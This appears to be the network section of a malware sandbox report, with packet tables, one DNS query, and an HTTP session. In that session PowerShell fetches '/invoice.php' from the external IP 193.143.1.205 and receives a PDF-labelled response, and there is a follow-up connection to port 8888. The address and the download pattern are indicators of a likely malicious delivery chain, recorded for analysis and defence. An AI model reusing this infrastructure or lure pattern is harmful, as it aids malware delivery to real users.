Jan 10, 2025 21:55:22.101068974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101075888 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101083040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101094007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101105928 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101114988 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101123095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101135969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101136923 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101146936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101161003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101165056 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101176977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101188898 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101229906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.101893902 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.101993084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102004051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102015018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102031946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102032900 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102046013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102055073 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102057934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102071047 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102082968 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102088928 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102096081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102108002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102117062 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102121115 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102137089 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102159977 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102842093 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102864027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102875948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102888107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.102902889 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.102929115 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.103174925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103319883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103342056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103368044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103370905 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.103380919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103393078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103405952 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103405952 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.103419065 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103431940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103445053 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103447914 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.103457928 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103471041 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.103482962 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.103524923 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104185104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104197025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104209900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104252100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104283094 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104301929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104314089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104325056 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104325056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104337931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104351044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104352951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104363918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104372978 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104386091 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104401112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.104403973 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.104446888 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105257988 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105271101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105282068 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105310917 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105319023 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105324030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105335951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105349064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105354071 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105360031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105370045 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105375051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105387926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105401993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105415106 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.105418921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105446100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.105453014 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106095076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106162071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106194019 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106204987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106210947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106214046 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106244087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106255054 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106256962 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106272936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106287956 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106292963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106306076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106312990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106317043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106331110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.106340885 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.106375933 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107068062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107100010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107139111 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107211113 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107237101 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107274055 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107372999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107384920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107395887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107417107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107527018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107538939 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107549906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107566118 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107572079 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107594013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107595921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107605934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107619047 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107641935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107646942 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107654095 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107665062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107676983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107678890 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107690096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.107712030 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.107738018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108356953 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108370066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108385086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108396053 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108398914 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108417988 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108428955 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108429909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108443022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108460903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108473063 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108473063 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108479977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108491898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108500004 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108506918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108520031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108525991 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108530998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108544111 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.108552933 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108576059 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.108584881 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109442949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109455109 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109466076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109476089 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109488964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109497070 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109499931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109513998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109517097 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109525919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109539032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109548092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109550953 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109565020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109572887 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109575987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109589100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109594107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109601974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109615088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.109630108 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.109664917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110088110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110127926 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110193014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110204935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110217094 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110229015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110240936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110245943 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110255957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110265970 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110291004 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110472918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110485077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110503912 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110533953 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110615015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110637903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110646009 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110652924 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110658884 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110658884 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110671043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110682011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110688925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110694885 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110707998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110717058 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110719919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110735893 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110738039 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110743999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110755920 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110759020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110764027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110768080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.110775948 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.110812902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111443996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111624956 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111645937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111659050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111666918 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111670971 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111684084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111694098 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111694098 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111709118 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111721039 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111722946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111733913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111745119 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111751080 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111758947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111776114 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111776114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111782074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111787081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111794949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111797094 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111799002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111804962 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111809969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.111835003 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.111854076 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113492012 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113504887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113517046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113528967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113540888 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113545895 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113549948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113562107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113564014 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113576889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113595963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113596916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113610029 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113619089 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113626957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113637924 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113637924 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113651991 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113660097 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113662958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113677025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113687038 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113692045 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113706112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113715887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.113718987 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.113744974 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.114586115 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.114598036 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.114610910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.114633083 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.114658117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.330647945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.330715895 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.651966095 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.657031059 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.657051086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.657061100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:22.657115936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.705876112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:22.871380091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:23.011567116 CET	49701	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:23.416810036 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:23.421758890 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:23.421855927 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:23.422108889 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:23.426871061 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:24.226634979 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 21:55:24.268351078 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:55:24.475568056 CET	49702	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:55:31.095180035 CET	49879	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:55:31.095180035 CET	192.168.2.7	1.1.1.1	0xb6ea	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:55:31.255484104 CET	1.1.1.1	192.168.2.7	0xb6ea	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	193.143.1.205	80	7264	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:55:20.567476988 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:55:21.356100082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:55:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 